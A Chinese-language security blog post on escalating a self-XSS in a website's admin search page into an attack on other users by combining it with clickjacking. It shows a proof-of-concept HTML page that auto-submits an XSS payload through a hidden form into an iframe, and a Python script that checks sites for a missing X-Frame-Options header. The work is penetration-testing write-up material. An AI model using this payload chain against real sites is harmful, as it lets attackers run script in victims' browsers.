组合拳玩转self-xss
本文最后更新于1898天前,其中的信息可能已经有所发展或是发生改变。

起因

昨天跟朋友去看电影,团队的小伙伴说有个站点有个self-xss,想让我看看有没有什么好的利用方法,于是便有了此文章。

正文

漏洞出现在后台的一处搜索页面,输入一个简单payload便可弹窗

组合拳玩转self-xss

但是悲催的是这是一个self-xss,需要用户自己输入payload并点击搜索才可以弹窗

组合拳玩转self-xss

一般碰到这种的xss我第一时间想到的就是看一看是否存在Click Jacking,拿出自己的测试工具进行测试,发现可以劫持

组合拳玩转self-xss

剩下的就是尝试构造poc了

先来分析下流程:用户输入语句–>点击搜索–>触发漏洞

那么我们需要做的就是

诱导受害者点开连接–>点击按钮(同时将payload提交出去)–>触发漏洞

最终poc如下(未进行css的设置)

<html>
<head>
</head>
    <form action='http://www.xxxx.com/xxx' method='POST' target='itest'>
        <input type='hidden'  name='search' value='"><svg/onload=alert(1)>'/>
        <input type='submit' value='confirm' />
    </form>
     <iframe src="http://xxxx/xxxx"  STYLE="width:1000;height:1000"name="itest"></iframe>
</body>
</html>

整个过程中比较麻烦的就是点击自动post提交,幸运的是html可以简单地做到,剩下的就是一个标签闭合问题了,单引号防止payload的双引号被闭合就ok,总体上写的比较烂,不能算是一个poc,效果如下

组合拳玩转self-xss

如果将按钮的css配置的再好一些,位置与原网页重合的话效果会更好,这里只是做一个简单的演示,其实还是自己懒….

附上检测代码


import requests


def jiance(urls):
    urls = "{}".format(urls)
    header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
    }
    reqst = requests.get(url=urls,headers=header,timeout=5)
    if reqst.status_code == 200:
        code = reqst.headers
    try:
        print(code['X-FRAME-OPTIONS'])
        print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used')
    except:
        print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability')
        print('[!]Remind:It may be a defense against JS. Please test it yourself')
    else:
        print('[n]bjective instability')
def main():
    urls = input('Please enter the url to be detected (note to add http://):')
    jiance(urls=urls)

if __name__ == '__main__':
    main()

总结

这种提交型的self-xss还是第一次玩,还是很开心的…

组合拳玩转self-xss

作者:冷逸

https://lengjibo.github.io/%E7%BB%84%E5%90%88%E6%8B%B3%E7%8E%A9%E8%BD%ACself-xss/

组合拳玩转self-xss

点击数:81

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇